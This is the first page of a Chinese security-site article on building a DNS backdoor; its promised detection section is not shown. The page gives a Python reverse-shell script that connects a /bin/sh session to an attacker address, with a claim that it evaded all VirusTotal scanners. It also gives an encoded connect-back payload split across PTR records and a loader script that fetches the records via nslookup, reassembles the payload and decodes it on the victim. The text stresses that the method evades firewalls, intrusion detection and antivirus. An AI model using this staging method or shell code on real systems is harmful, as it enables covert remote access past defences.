欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

DNS后门及其检测

来源:本站整理 作者:rotgrass 时间:2018-10-11 TAG: 我要投稿

使用DNS隧道技术可以有效地进行数据交换,当然,也可以使用DNS隧道技术进行后门的制作。
0×00 背景
要理解DNS后门,首先要对DNS协议有所了解。DNS解析过程在此不多赘述,只提到一点:DNS解析中的PTR记录,它与A记录相反,是将IP地址解析为域名。如下图,如果这时向这个DNS服务器请求1.1.1.100的PTR记录,反向解析到的域名就是test.com 。

需要了解的是PTR记录的两个特性:
1. 大小写不敏感。在PTR记录中,如果DNS服务器上的主机名包含大写,DNS解析的结果中会全部转换为小写。所以域名也并不区分大小写。
2. 格式不定。一个正常的域名至少需要一个后缀(.com、.net),并且不可出现“-”以外的特殊符号。但是在写PTR记录时,可以选择任意格式,也可以出现包括“!@#$%^&*()_+=/?”在内的各种特殊字符,甚至是空格,只有反斜杠“\”会被过滤。
不仅仅是PTR记录,其他的例如TXT记录、MX记录等,都可以达到类似的效果,甚至存放的内容没有字符和长度限制,只是配置方法略有不同。
0×01 初窥门径
我们已经知道了DNS中的PTR记录可以存放几乎任何我们想要的东西,接下来的要说DNS后门的利用的设计思路。我们可以将payload放在PTR记录中,做好IP和域名的映射。只要在被攻击者主机上用DNS协议反向解析这个IP ,payload就会被接收。最重要的一点在于,大部分的防火墙、入侵检测系统和态势感知系统并不会审计DNS协议,所以这段流量几乎是不会被拦截的;并且这段paylaod并不会被保存在文件中,而是存在内存里,也可以绕过本地杀软的查杀。
模拟一个场景,在DNS服务器上创建数个PTR记录,将一段payload拆分成三个部分,因为域名有长度限制,无法全部放入,并且拆分后可以有效避免被审查。再将1.1.1.1-1.1.1.3的IP分别映射这三段payload。

只要向这台DNS服务器请求反向解析这三个IP,就可以接收到这段payload。

下面来看一个实例,这有一个简短的python弹shell脚本:
import socket,subprocess,os
s=socket.socket()
s.connect(("",))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
使用VirusTotal进行检测,顺利通过了所有厂商的查杀。相比之下,相同功能的可执行文件被查杀几率就高了很多。

在这里我只截取以下部分作为测试,连接的目标地址为攻击者IP及端口号。
import socket
s=socket.socket()
s.connect(("x.x.x.x",xxxx))
接下来就是将这段payload放入DNS服务器中的PTR记录里,为了方便起见,将其做base64编码处理,因为编码后的字符中存在大写,前文提到过PTR解析结果中全部为小写,所以将其再进行ASCII编码,最终的结果为:
\u0061\u0057\u0031\u0077\u0062\u0033\u004a\u0030\u0049\u0048\u004e\u0076\u0059\u0032\u0074\u006c\u0064\u0043\u0078\u007a\u0064\u0048\u004a\u0031\u0059\u0033\u0051\u004b\u0063\u007a\u0031\u007a\u0062\u0032\u004e\u0072\u005a\u0058\u0051\u0075\u0063\u0032\u0039\u006a\u0061\u0032\u0056\u0030\u004b\u0044\u0049\u0073\u004d\u0053\u006b\u004b\u0063\u0079\u0035\u006a\u0062\u0032\u0035\u0075\u005a\u0057\u004e\u0030\u004b\u0043\u0067\u006e\u004d\u0054\u006b\u0079\u004c\u006a\u0045\u0032\u004f\u0043\u0034\u0078\u004d\u0044\u0045\u0075\u004d\u0054\u0049\u0035\u004a\u0079\u0077\u0035\u004f\u0054\u006b\u0035\u004b\u0053\u006b\u004b\u0043\u0067\u003d\u003d
在DNS服务器上创建PTR记录,将最终编码后的payload拆分,并全部存入其中,建立IP和payload的反向解析。

最后只要在被攻击者主机上请求这些IP的DNS反向解析,就可以获取到完整的payload,我写了一个简单的python脚本来完成这个操作。可以获取到所有分段后的payload,进行组合、解码并执行。192.168.101.144是DNS服务器的地址。
import os
payload=''
ip=raw_input('please input payload ip range:')
count=raw_input('please input count:')
for i in range(1,int(count)+1):
    domain=ip+str(i)
    p=os.popen('nslookup -qt=ptr '+domain+' 192.168.101.144')
    res=p.read().split('\n')
    if res[0]=="\xb7\xfe\xce\xf1\xc6\xf7: UnKnown":
        del res[0]
    payload_raw=res[2].split(":")[1].strip()
    payload+=payload_raw
payload=payload.replace('u','\u').decode('unicode_escape')

[1] [2] [3]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载